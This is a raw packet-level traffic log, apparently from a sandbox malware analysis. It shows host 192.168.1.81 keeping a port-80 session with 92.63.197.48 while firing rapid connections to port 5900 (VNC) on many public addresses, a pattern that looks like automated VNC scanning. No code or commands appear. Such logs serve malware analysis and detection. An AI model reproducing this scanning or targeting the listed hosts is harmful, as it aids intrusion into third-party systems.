Oct 30, 2018 14:45:36.439167976 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.439256907 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.439310074 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.439343929 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.439439058 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.452313900 CET	51721	5900	192.168.1.81	148.42.53.142
Oct 30, 2018 14:45:36.484321117 CET	51722	5900	192.168.1.81	148.118.2.230
Oct 30, 2018 14:45:36.490014076 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490092993 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490163088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490194082 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490226984 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.490240097 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490271091 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490309000 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490376949 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490407944 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490458965 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490485907 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.490513086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490542889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490572929 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490602016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490616083 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.490631104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490660906 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490689993 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490717888 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490734100 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.490746975 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.490855932 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.494441032 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.494539022 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.494596958 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.494632006 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.494662046 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.494663954 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.501471996 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.518135071 CET	51723	5900	192.168.1.81	159.151.116.15
Oct 30, 2018 14:45:36.588789940 CET	51640	5900	192.168.1.81	70.118.251.48
Oct 30, 2018 14:45:36.620589018 CET	51724	5900	192.168.1.81	57.199.241.152
Oct 30, 2018 14:45:36.628763914 CET	51725	5900	192.168.1.81	205.224.154.115
Oct 30, 2018 14:45:36.660159111 CET	5900	51637	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:36.664932966 CET	51726	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:36.673630953 CET	51727	5900	192.168.1.81	49.177.191.104
Oct 30, 2018 14:45:36.768512011 CET	51728	5900	192.168.1.81	144.174.7.59
Oct 30, 2018 14:45:36.798197985 CET	51729	5900	192.168.1.81	132.246.210.115
Oct 30, 2018 14:45:36.816262960 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:36.816375017 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:36.826402903 CET	51730	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:36.837670088 CET	63972	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:36.850096941 CET	53	63972	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:36.856019020 CET	5900	51730	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:36.856137991 CET	51730	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:36.858057976 CET	51730	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:36.858649969 CET	51731	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:36.865216017 CET	51732	5900	192.168.1.81	54.63.181.174
Oct 30, 2018 14:45:36.888434887 CET	5900	51731	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:36.888597012 CET	51731	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:36.896842957 CET	51733	5900	192.168.1.81	39.71.211.42
Oct 30, 2018 14:45:36.958966970 CET	51734	5900	192.168.1.81	188.153.24.218
Oct 30, 2018 14:45:36.991506100 CET	51735	5900	192.168.1.81	67.9.33.40
Oct 30, 2018 14:45:36.994915009 CET	5900	51726	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:36.995031118 CET	51726	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:37.032747030 CET	51736	5900	192.168.1.81	175.248.34.109
Oct 30, 2018 14:45:37.128185987 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:37.128261089 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:37.240355968 CET	51730	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:37.323081017 CET	5900	51736	175.248.34.109	192.168.1.81
Oct 30, 2018 14:45:37.700185061 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:37.700251102 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:37.718780994 CET	51644	5900	192.168.1.81	209.49.79.217
Oct 30, 2018 14:45:37.823191881 CET	51736	5900	192.168.1.81	175.248.34.109
Oct 30, 2018 14:45:37.836999893 CET	51737	5900	192.168.1.81	137.213.17.215
Oct 30, 2018 14:45:37.927541018 CET	51730	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:38.044214964 CET	51738	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:38.045768023 CET	51739	5900	192.168.1.81	80.183.160.255
Oct 30, 2018 14:45:38.051908016 CET	51740	5900	192.168.1.81	98.19.13.30
Oct 30, 2018 14:45:38.061872005 CET	51612	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:38.088238955 CET	53	51612	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:38.112816095 CET	5900	51736	175.248.34.109	192.168.1.81
Oct 30, 2018 14:45:38.230973005 CET	51741	5900	192.168.1.81	170.44.249.81
Oct 30, 2018 14:45:38.298276901 CET	5900	51738	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:38.298409939 CET	51738	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:38.334503889 CET	51645	5900	192.168.1.81	198.122.55.74
Oct 30, 2018 14:45:38.428093910 CET	51646	5900	192.168.1.81	169.3.42.78
Oct 30, 2018 14:45:38.428199053 CET	51647	5900	192.168.1.81	167.105.225.117
Oct 30, 2018 14:45:38.537009954 CET	51648	5900	192.168.1.81	89.30.160.138
Oct 30, 2018 14:45:38.537055969 CET	51649	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:38.537072897 CET	51650	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:38.537087917 CET	51651	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:38.537103891 CET	51652	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:38.537117958 CET	51653	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:38.537136078 CET	51654	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:38.537153006 CET	51655	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537168980 CET	51656	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537185907 CET	51657	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537203074 CET	51658	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537225962 CET	51659	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537242889 CET	51660	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537260056 CET	51661	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537277937 CET	51662	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.537295103 CET	51663	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.603642941 CET	51742	5900	192.168.1.81	57.74.228.113
Oct 30, 2018 14:45:38.604218006 CET	5900	51738	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:38.604866028 CET	5900	51738	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:38.631091118 CET	51664	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631134033 CET	51665	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631151915 CET	51666	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631166935 CET	51667	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631182909 CET	51668	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631197929 CET	51669	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631212950 CET	51670	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631230116 CET	51671	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631247044 CET	51672	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631263971 CET	51673	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631282091 CET	51674	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631299019 CET	51675	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631316900 CET	51676	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631333113 CET	51677	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:38.631350994 CET	51678	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631367922 CET	51679	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631385088 CET	51680	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631402969 CET	51681	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631419897 CET	51682	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631437063 CET	51683	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631453991 CET	51684	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631470919 CET	51685	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631488085 CET	51686	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631505013 CET	51687	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631521940 CET	51688	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631537914 CET	51689	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631555080 CET	51690	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631572962 CET	51691	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631589890 CET	51692	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631607056 CET	51693	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:38.631623030 CET	51694	5900	192.168.1.81	203.23.201.38
Oct 30, 2018 14:45:38.631639957 CET	51695	5900	192.168.1.81	97.85.85.173
Oct 30, 2018 14:45:38.631656885 CET	51736	5900	192.168.1.81	175.248.34.109
Oct 30, 2018 14:45:38.658184052 CET	51738	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:38.740751982 CET	51696	5900	192.168.1.81	90.227.173.190
Oct 30, 2018 14:45:38.740801096 CET	51697	5900	192.168.1.81	123.98.181.2
Oct 30, 2018 14:45:38.740818977 CET	51698	5900	192.168.1.81	116.65.44.212
Oct 30, 2018 14:45:38.740833998 CET	51699	5900	192.168.1.81	174.1.197.98
Oct 30, 2018 14:45:38.796035051 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:38.796155930 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:38.834038973 CET	51700	5900	192.168.1.81	205.35.184.184
Oct 30, 2018 14:45:38.834083080 CET	51701	5900	192.168.1.81	133.44.193.53
Oct 30, 2018 14:45:38.834100008 CET	51702	5900	192.168.1.81	88.125.223.98
Oct 30, 2018 14:45:38.836621046 CET	51743	5900	192.168.1.81	206.210.120.92
Oct 30, 2018 14:45:38.898358107 CET	51744	5900	192.168.1.81	141.81.59.175
Oct 30, 2018 14:45:38.913403988 CET	5900	51738	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:38.913970947 CET	5900	51738	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:38.914000034 CET	5900	51738	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:38.914072990 CET	51738	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:38.921576977 CET	5900	51736	175.248.34.109	192.168.1.81
Oct 30, 2018 14:45:38.927618027 CET	51703	5900	192.168.1.81	181.231.83.148
Oct 30, 2018 14:45:38.927659988 CET	51704	5900	192.168.1.81	156.61.33.84
Oct 30, 2018 14:45:38.927678108 CET	51705	5900	192.168.1.81	138.69.20.125
Oct 30, 2018 14:45:38.984649897 CET	51738	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:38.986947060 CET	51745	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:38.987085104 CET	51746	5900	192.168.1.81	40.4.99.116
Oct 30, 2018 14:45:39.037050009 CET	51706	5900	192.168.1.81	58.209.23.141
Oct 30, 2018 14:45:39.037097931 CET	51707	5900	192.168.1.81	52.106.212.10
Oct 30, 2018 14:45:39.037115097 CET	51708	5900	192.168.1.81	152.60.238.12
Oct 30, 2018 14:45:39.037128925 CET	51709	5900	192.168.1.81	142.186.74.57
Oct 30, 2018 14:45:39.068306923 CET	51747	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.068459034 CET	51748	5900	192.168.1.81	179.137.77.138
Oct 30, 2018 14:45:39.082912922 CET	51710	5900	192.168.1.81	189.189.180.93
Oct 30, 2018 14:45:39.083307981 CET	51749	5900	192.168.1.81	50.182.103.125
Oct 30, 2018 14:45:39.130799055 CET	51711	5900	192.168.1.81	50.120.241.202
Oct 30, 2018 14:45:39.130850077 CET	51712	5900	192.168.1.81	131.9.226.69
Oct 30, 2018 14:45:39.130867004 CET	51730	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:39.203126907 CET	5900	51747	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.204469919 CET	51747	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.220318079 CET	5900	51738	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:39.220777035 CET	51738	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:39.221417904 CET	5900	51745	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:39.221864939 CET	51745	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:39.240695000 CET	51713	5900	192.168.1.81	163.143.217.40
Oct 30, 2018 14:45:39.240761995 CET	51714	5900	192.168.1.81	39.10.86.235
Oct 30, 2018 14:45:39.240780115 CET	51715	5900	192.168.1.81	174.91.49.97
Oct 30, 2018 14:45:39.334532976 CET	51716	5900	192.168.1.81	49.189.253.38
Oct 30, 2018 14:45:39.334587097 CET	51717	5900	192.168.1.81	178.10.35.185
Oct 30, 2018 14:45:39.334604979 CET	51718	5900	192.168.1.81	173.22.104.63
Oct 30, 2018 14:45:39.338107109 CET	5900	51747	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.340569019 CET	51747	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.342324018 CET	51750	5900	192.168.1.81	157.176.126.126
Oct 30, 2018 14:45:39.427803040 CET	51719	5900	192.168.1.81	75.137.141.186
Oct 30, 2018 14:45:39.427851915 CET	51720	5900	192.168.1.81	35.115.153.227
Oct 30, 2018 14:45:39.444701910 CET	51751	5900	192.168.1.81	204.220.77.43
Oct 30, 2018 14:45:39.474450111 CET	5900	51747	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.474484921 CET	5900	51747	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.474570036 CET	51747	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.490789890 CET	51747	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.491444111 CET	51752	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.491739035 CET	51753	5900	192.168.1.81	126.59.182.100
Oct 30, 2018 14:45:39.496197939 CET	50612	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:39.524084091 CET	53	50612	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:39.526745081 CET	5900	51745	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:39.527276039 CET	5900	51745	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:39.536392927 CET	51745	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:39.537292957 CET	51721	5900	192.168.1.81	148.42.53.142
Oct 30, 2018 14:45:39.537328959 CET	51722	5900	192.168.1.81	148.118.2.230
Oct 30, 2018 14:45:39.537343979 CET	51723	5900	192.168.1.81	159.151.116.15
Oct 30, 2018 14:45:39.609141111 CET	5900	51747	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.609257936 CET	51747	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.623534918 CET	5900	51752	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.623619080 CET	51752	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.631462097 CET	51724	5900	192.168.1.81	57.199.241.152
Oct 30, 2018 14:45:39.631510973 CET	51725	5900	192.168.1.81	205.224.154.115
Oct 30, 2018 14:45:39.684720993 CET	51754	5900	192.168.1.81	83.195.4.215
Oct 30, 2018 14:45:39.691750050 CET	51755	5900	192.168.1.81	187.73.153.133
Oct 30, 2018 14:45:39.740509987 CET	51727	5900	192.168.1.81	49.177.191.104
Oct 30, 2018 14:45:39.754856110 CET	5900	51752	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.788774014 CET	51752	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.789292097 CET	51756	5900	192.168.1.81	161.18.120.94
Oct 30, 2018 14:45:39.833997965 CET	5900	51745	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:39.834489107 CET	5900	51745	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:39.834614038 CET	5900	51745	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:39.834717989 CET	51745	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:39.836210012 CET	51728	5900	192.168.1.81	144.174.7.59
Oct 30, 2018 14:45:39.836260080 CET	51729	5900	192.168.1.81	132.246.210.115
Oct 30, 2018 14:45:39.859548092 CET	51745	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:39.869337082 CET	51757	5900	192.168.1.81	176.157.129.71
Oct 30, 2018 14:45:39.885790110 CET	5900	51730	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:39.911734104 CET	5900	51755	187.73.153.133	192.168.1.81
Oct 30, 2018 14:45:39.919992924 CET	5900	51731	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:39.921632051 CET	5900	51752	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.921669006 CET	5900	51752	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:39.921719074 CET	51752	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:39.927848101 CET	51732	5900	192.168.1.81	54.63.181.174
Oct 30, 2018 14:45:39.927932978 CET	51733	5900	192.168.1.81	39.71.211.42
Oct 30, 2018 14:45:40.027062893 CET	51752	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:40.029124022 CET	51758	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:40.037143946 CET	51734	5900	192.168.1.81	188.153.24.218
Oct 30, 2018 14:45:40.037185907 CET	51735	5900	192.168.1.81	67.9.33.40
Oct 30, 2018 14:45:40.056500912 CET	5900	51752	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:40.056600094 CET	51752	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:40.062247992 CET	5900	51758	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:40.062355995 CET	51758	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:40.089312077 CET	63350	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:40.142529011 CET	5900	51745	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:40.142604113 CET	51745	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:40.162822008 CET	51759	5900	192.168.1.81	72.49.81.104
Oct 30, 2018 14:45:40.212682962 CET	51760	5900	192.168.1.81	51.80.14.80
Oct 30, 2018 14:45:40.329899073 CET	5900	51726	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:40.366086006 CET	51761	5900	192.168.1.81	133.208.152.200
Oct 30, 2018 14:45:40.366220951 CET	51762	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:40.376704931 CET	51763	5900	192.168.1.81	140.61.126.107
Oct 30, 2018 14:45:40.427788019 CET	51755	5900	192.168.1.81	187.73.153.133
Oct 30, 2018 14:45:40.550494909 CET	51764	5900	192.168.1.81	146.72.125.198
Oct 30, 2018 14:45:40.603209972 CET	53	63350	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:40.645478010 CET	5900	51755	187.73.153.133	192.168.1.81
Oct 30, 2018 14:45:40.691025019 CET	5900	51762	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:40.691194057 CET	51762	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:40.713181973 CET	51765	5900	192.168.1.81	132.228.171.115
Oct 30, 2018 14:45:40.722609043 CET	51766	5900	192.168.1.81	187.168.3.165
Oct 30, 2018 14:45:40.834578991 CET	51737	5900	192.168.1.81	137.213.17.215
Oct 30, 2018 14:45:40.916714907 CET	51767	5900	192.168.1.81	142.181.155.92
Oct 30, 2018 14:45:40.932058096 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:40.932167053 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:41.037162066 CET	51739	5900	192.168.1.81	80.183.160.255
Oct 30, 2018 14:45:41.088843107 CET	51768	5900	192.168.1.81	116.14.149.11
Oct 30, 2018 14:45:41.131181002 CET	51740	5900	192.168.1.81	98.19.13.30
Oct 30, 2018 14:45:41.181298018 CET	51769	5900	192.168.1.81	120.12.242.185
Oct 30, 2018 14:45:41.240648985 CET	51755	5900	192.168.1.81	187.73.153.133
Oct 30, 2018 14:45:41.240710020 CET	51741	5900	192.168.1.81	170.44.249.81
Oct 30, 2018 14:45:41.308973074 CET	51770	5900	192.168.1.81	130.1.109.137
Oct 30, 2018 14:45:41.460407019 CET	5900	51755	187.73.153.133	192.168.1.81
Oct 30, 2018 14:45:41.510947943 CET	51771	5900	192.168.1.81	168.20.130.153
Oct 30, 2018 14:45:41.514748096 CET	61908	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:41.521986008 CET	51772	5900	192.168.1.81	105.233.191.56
Oct 30, 2018 14:45:41.631509066 CET	51742	5900	192.168.1.81	57.74.228.113
Oct 30, 2018 14:45:41.692441940 CET	51773	5900	192.168.1.81	88.68.154.224
Oct 30, 2018 14:45:41.834368944 CET	51743	5900	192.168.1.81	206.210.120.92
Oct 30, 2018 14:45:41.835724115 CET	51774	5900	192.168.1.81	76.134.63.225
Oct 30, 2018 14:45:41.927941084 CET	51744	5900	192.168.1.81	141.81.59.175
Oct 30, 2018 14:45:42.026678085 CET	51758	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:42.034034014 CET	51775	5900	192.168.1.81	166.97.186.68
Oct 30, 2018 14:45:42.038054943 CET	51746	5900	192.168.1.81	40.4.99.116
Oct 30, 2018 14:45:42.103776932 CET	51776	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:42.103996038 CET	51777	5900	192.168.1.81	44.130.233.188
Oct 30, 2018 14:45:42.107112885 CET	51778	5900	192.168.1.81	69.25.1.196
Oct 30, 2018 14:45:42.130793095 CET	51748	5900	192.168.1.81	179.137.77.138
Oct 30, 2018 14:45:42.130826950 CET	51749	5900	192.168.1.81	50.182.103.125
Oct 30, 2018 14:45:42.133490086 CET	5900	51776	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:42.133579016 CET	51776	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:42.190202951 CET	51779	5900	192.168.1.81	169.140.170.50
Oct 30, 2018 14:45:42.333802938 CET	51758	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:42.338736057 CET	51780	5900	192.168.1.81	87.162.250.72
Oct 30, 2018 14:45:42.427936077 CET	51750	5900	192.168.1.81	157.176.126.126
Oct 30, 2018 14:45:42.506903887 CET	61908	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:42.515857935 CET	51781	5900	192.168.1.81	168.10.203.63
Oct 30, 2018 14:45:42.533133984 CET	53	61908	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:42.537070990 CET	51751	5900	192.168.1.81	204.220.77.43
Oct 30, 2018 14:45:42.537106037 CET	51753	5900	192.168.1.81	126.59.182.100
Oct 30, 2018 14:45:42.547103882 CET	51782	5900	192.168.1.81	153.121.183.179
Oct 30, 2018 14:45:42.550105095 CET	51783	5900	192.168.1.81	68.214.55.219
Oct 30, 2018 14:45:42.555008888 CET	53	61908	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:42.720695972 CET	51784	5900	192.168.1.81	38.162.180.165
Oct 30, 2018 14:45:42.740350962 CET	51754	5900	192.168.1.81	83.195.4.215
Oct 30, 2018 14:45:42.757534981 CET	51785	5900	192.168.1.81	97.15.4.116
Oct 30, 2018 14:45:42.761528015 CET	51786	5900	192.168.1.81	112.3.21.180
Oct 30, 2018 14:45:42.834147930 CET	51756	5900	192.168.1.81	161.18.120.94
Oct 30, 2018 14:45:42.876465082 CET	51787	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:42.913383007 CET	51788	5900	192.168.1.81	107.241.217.245
Oct 30, 2018 14:45:42.927608013 CET	51757	5900	192.168.1.81	176.157.129.71
Oct 30, 2018 14:45:42.927642107 CET	51758	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:43.030849934 CET	51789	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.042530060 CET	51790	5900	192.168.1.81	34.197.41.194
Oct 30, 2018 14:45:43.092705011 CET	5900	51758	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:43.112149000 CET	5900	51787	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:43.112294912 CET	51787	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:43.163436890 CET	5900	51789	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:43.163523912 CET	51789	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.222795010 CET	51791	5900	192.168.1.81	40.204.32.104
Oct 30, 2018 14:45:43.229598999 CET	63092	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:43.238676071 CET	51792	5900	192.168.1.81	72.84.198.95
Oct 30, 2018 14:45:43.244224072 CET	51759	5900	192.168.1.81	72.49.81.104
Oct 30, 2018 14:45:43.244272947 CET	51760	5900	192.168.1.81	51.80.14.80
Oct 30, 2018 14:45:43.277105093 CET	53	63092	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:43.296516895 CET	5900	51789	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:43.368026018 CET	51789	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.418251038 CET	5900	51787	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:43.418478966 CET	5900	51787	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:43.427484035 CET	51761	5900	192.168.1.81	133.208.152.200
Oct 30, 2018 14:45:43.427517891 CET	51763	5900	192.168.1.81	140.61.126.107
Oct 30, 2018 14:45:43.502262115 CET	5900	51789	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:43.502298117 CET	5900	51789	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:43.502362013 CET	51789	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.502398014 CET	51789	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:43.577111006 CET	51787	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:43.577317953 CET	51789	5900	192.168.1.81	142.112.20.74
